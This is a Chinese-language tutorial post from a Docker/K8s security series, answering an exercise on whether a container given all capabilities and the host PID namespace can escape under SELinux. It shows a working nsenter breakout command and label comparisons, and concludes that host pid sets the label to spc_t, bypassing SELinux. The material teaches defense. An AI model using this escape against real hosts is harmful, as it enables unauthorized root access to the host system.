iT邦幫忙

2023 iThome 鐵人賽

0
影片教學

怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了系列 第 45

Day 33 - 作業 9 解答 - 測試 cap-add ALL 以及 host pid 的逃逸手法 (SELinux)

  • 分享至 

  • xImage
  •  

Yes

  • 作業9 題目 : 跟當初驗證 Apparmor 機制一樣,但假如給予今天給予容器所有的能力並掛載 host pid,到底是否能夠順利逃逸呢? 假如可以的話,驗證一下為何 SELinux 無法防守住。

  • 解答 : 首先打開 CentOS 7 建立環境,步驟如下所示 :

    
    # 先確認 SELinux 是否啟動,必須看到 selinux 字樣
    docker info | grep Security -A3 ; 
    
    docker run -it --rm --cap-add ALL --pid host aeifkz/my-ubuntu:v1.0 bash ;
    
    # 進行 nsenter 逃逸手法,結果成功 =  =
    nsenter -m -u -i -n -p -t 1 bash ; 
    
    # 退出 shell
    exit ;
    
    # 看一下目前的 process 的 Label 到底打了甚麼
    ps Z ;
    
    exit ;
    
  • 從上面可以觀察出標籤打了 spc_t,但這個標籤到底大不大呢? 用特權容器測試之後發現這兩個標籤一模一樣,推測應該蠻大的。

    # 特權容器標籤為 spc_t
    docker run -it --rm --privileged aeifkz/my-ubuntu:v1.0 ps Z ;
    
    # 有全部能力的容器標籤為 container_t
    docker run -it --rm --cap-add ALL aeifkz/my-ubuntu:v1.0 ps Z ;
    
    # 只掛host pid的標籤為 spc_t
    docker run -it --rm --pid host aeifkz/my-ubuntu:v1.0 ps Z ;
    
  • 所以這邊可以得到一個結論,有全部 cap 能力的容器 selinux 標籤保持 container_t /images/emoticon/emoticon33.gif,但一旦把 host pid 掛載上去之後就會變成 spc_t /images/emoticon/emoticon17.gif,所以掛載 host pid 的使用上要小心,等同於變相關閉容器的 selinux 的防禦機制 /images/emoticon/emoticon06.gif


上一篇
Day 33 - (防禦) Container SELinux 防禦機制 (含作業9)
下一篇
Day 34 - Non-Root User 容器介紹 (含作業10-1、10-2)
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言